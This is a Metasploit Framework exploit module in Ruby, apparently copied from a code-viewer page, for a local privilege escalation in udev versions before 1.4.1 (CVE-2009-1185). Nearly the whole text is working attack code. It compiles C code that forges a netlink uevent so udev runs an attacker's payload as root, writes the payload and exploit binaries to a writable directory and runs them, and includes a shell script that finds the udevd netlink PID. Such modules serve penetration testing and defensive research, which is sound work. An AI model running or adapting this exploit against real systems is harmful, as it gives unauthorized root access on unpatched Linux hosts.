1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 |
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'rex' require 'msf/core/post/common' require 'msf/core/post/file' require 'msf/core/post/linux/priv' require 'msf/core/exploit/local/linux_kernel' require 'msf/core/exploit/local/linux' require 'msf/core/exploit/local/unix' #load 'lib/msf/core/post/file.rb' #load 'lib/msf/core/exploit/local/unix.rb' #load 'lib/msf/core/exploit/local/linux.rb' #load 'lib/msf/core/exploit/local/linux_kernel.rb' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::EXE include Msf::Post::File include Msf::Post::Common include Msf::Exploit::Local::LinuxKernel include Msf::Exploit::Local::Linux include Msf::Exploit::Local::Unix def initialize(info={}) super( update_info( info, { 'Name'=> 'Linux udev Netlink Local Privilege Escalation', 'Description' => %q{ Versions of udev < 1.4.1 do not verify that netlink messages are coming from the kernel. This allows local users to gain privileges by sending netlink messages from userland. }, 'License' => MSF_LICENSE, 'Author'=> [ 'kcope', # discovery 'Jon Oberheide', # 95-udev-late.rules technique 'egypt'# metasploit module ], 'Platform'=> [ 'linux' ], 'Arch'=> [ ARCH_X86 ], 'SessionTypes'=> [ 'shell', 'meterpreter' ], 'References'=> [ [ 'CVE', '2009-1185' ], [ 'OSVDB', '53810' ], [ 'BID', '34536' ] ], 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x64', { 'Arch' => ARCH_X86_64 } ], #[ 'Command payload', { 'Arch' => ARCH_CMD } ], ], 'DefaultOptons' => { 'WfsDelay' => 2 }, 'DefaultTarget' => 0, 'DisclosureDate' => "", } )) register_options([ OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ]), OptInt.new("NetlinkPID", [ false, "Usually udevd pid-1.Meterpreter sessions will autodetect" ]), ], self.class) end def exploit if datastore["NetlinkPID"] and datastore["NetlinkPID"] != 0 netlink_pid = datastore["NetlinkPID"] else print_status("Attempting to autodetect netlink pid...") netlink_pid = autodetect_netlink_pid end if not netlink_pid print_error "Couldn't autodetect netlink PID, try specifying it manually." print_error "Look in /proc/net/netlink for a PID near that of the udevd process" return else print_good "Found netlink pid: #{netlink_pid}" end sc = Metasm::ELF.new(@cpu) sc.parse %Q| #define DEBUGGING #define NULL ((void*)0) #ifdef __ELF__ .section ".bss" rwx .section ".text" rwx .entrypoint #endif call main push eax call exit | # Set up the same include order as the bionic build system. # See external/source/meterpreter/source/bionic/libc/Jamfile cparser.lexer.include_search_path = [ "external/source/meterpreter/source/bionic/libc/include/", "external/source/meterpreter/source/bionic/libc/private/", "external/source/meterpreter/source/bionic/libc/bionic/", "external/source/meterpreter/source/bionic/libc/kernel/arch-x86/", "external/source/meterpreter/source/bionic/libc/kernel/common/", "external/source/meterpreter/source/bionic/libc/arch-x86/include/", ] cparser.parse(%Q| #define DEBUGGING // Fixes a parse error in bionic's libc/kernel/arch-x86/asm/types.h #ifndef __extension__ #define __extension__ #endif // Fixes a parse error in bionic's libc/include/sys/cdefs_elf.h // Doing #if on an undefined macro is fine in GCC, but a parse error in // metasm. #ifndef __STDC__ #define __STDC__ 0 #endif #include <sys/types.h> #include <stdarg.h> #include <stdio.h> #include <unistd.h> #include <errno.h> |) [ "external/source/meterpreter/source/bionic/libc/bionic/__errno.c", "external/source/meterpreter/source/bionic/libc/bionic/__set_errno.c", "external/source/meterpreter/source/bionic/libc/stdio/stdio.c", ].each do |fname| cparser.parse(File.read(fname), fname) end payload_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" evil_path = "#{datastore["WritableDir"]}/#{Rex::Text.rand_text_alpha(10)}" unix_socket_h(sc) linux_x86_syscall_wrappers(sc) main = %Q^ #include <string.h> #include <linux/netlink.h> #define NULL 0 int main() { int sock; struct iovec iov; struct sockaddr_nl sa; struct msghdr msg; char *mp; char message[4096]; memset(sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = #{netlink_pid}; sa.nl_groups = 0; memset(&msg, 0x00, sizeof(struct msghdr)); msg.msg_name = (void *)&sa; msg.msg_namelen = sizeof(sa); msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = NULL; msg.msg_controllen = 0; msg.msg_flags = 0; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &sa, sizeof(sa)); mp = message; mp += sprintf(mp, "remove@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/#{Rex::Text.rand_text_alpha(10)}") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=#{payload_path}") +1; iov.iov_base = (void*)message; iov.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; } ^ cparser.parse(main, "main.c") asm = cpu.new_ccompiler(cparser, sc).compile sc.parse asm sc.assemble begin elf = sc.encode_string rescue print_error "Metasm Encoding failed: #{$!}" elog "Metasm Encoding failed: #{$!.class} : #{$!}" elog "Call stack:\n#{$!.backtrace.join("\n")}" return end pl = payload.encoded_exe print_status "Writing payload executable (#{pl.length} bytes) to #{payload_path}" write_file(payload_path, pl) print_status "Writing exploit executable (#{elf.length} bytes) to #{evil_path}" write_file(evil_path, elf) print_status "chmod'ing and running it..." cmd_exec("chmod 755 #{evil_path} #{payload_path}") cmd_exec("#{evil_path}") rm_f(evil_path, payload_path) end def autodetect_netlink_pid netlink_pid = nil case session.type when "meterpreter" print_status("Meterpreter session, using get_processes to find netlink pid") process_list = session.sys.process.get_processes udev_proc = process_list.find {|p| p["name"] =~ /udevd/ } udev_pid = udev_proc["pid"] print_status "udev pid: #{udev_pid}" netlink = read_file("/proc/net/netlink") netlink.each_line do |line| pid = line.split(/\s+/)[2].to_i if pid == udev_pid - 1 netlink_pid = pid break end end else print_status("Shell session, trying sh script to find netlink pid") netlink_pid = cmd_exec( %q^ for netlink_pid in $(awk '{print $3}' /proc/net/netlink |sort -u|grep -v -- -); do for udev_pid in $(ps aux | grep [u]devd | awk '{print $2}'); do [ $(( $udev_pid-1 )) = $netlink_pid ] && echo $netlink_pid ; done; done ^) netlink_pid = nil if netlink_pid.empty? end netlink_pid end end |